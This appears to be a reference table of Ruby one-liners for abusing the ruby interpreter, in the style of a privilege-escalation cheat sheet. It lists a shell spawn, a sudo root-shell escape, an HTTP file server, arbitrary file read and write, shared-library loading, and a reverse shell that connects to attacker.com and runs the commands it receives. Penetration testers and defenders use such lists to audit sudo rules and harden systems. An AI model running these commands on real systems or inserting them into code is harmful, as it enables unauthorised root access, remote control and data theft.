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| code |  
| ruby -e 'exec "/bin/sh"' |  |  | 
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| code |  
| sudo ruby -e 'exec "/bin/sh"' |  |  | 
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| description | code |  
| Serve files in the local folder running an HTTP server. | export LPORT=8888
ruby -run -e httpd . -p $LPORT |  |  | 
| 
| description | code |  
| Run `nc -l -p 12345` on the attacker box to receive the shell. | export RHOST=attacker.com
export RPORT=12345
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |  |  | 
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| code |  
| ruby -e 'puts File.read("file_to_read")' |  |  | 
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| code |  
| ruby -e 'File.open("file_to_write", "w+") { |f| f.write("data") }' |  |  | 
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| code |  
| ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")' |  |  |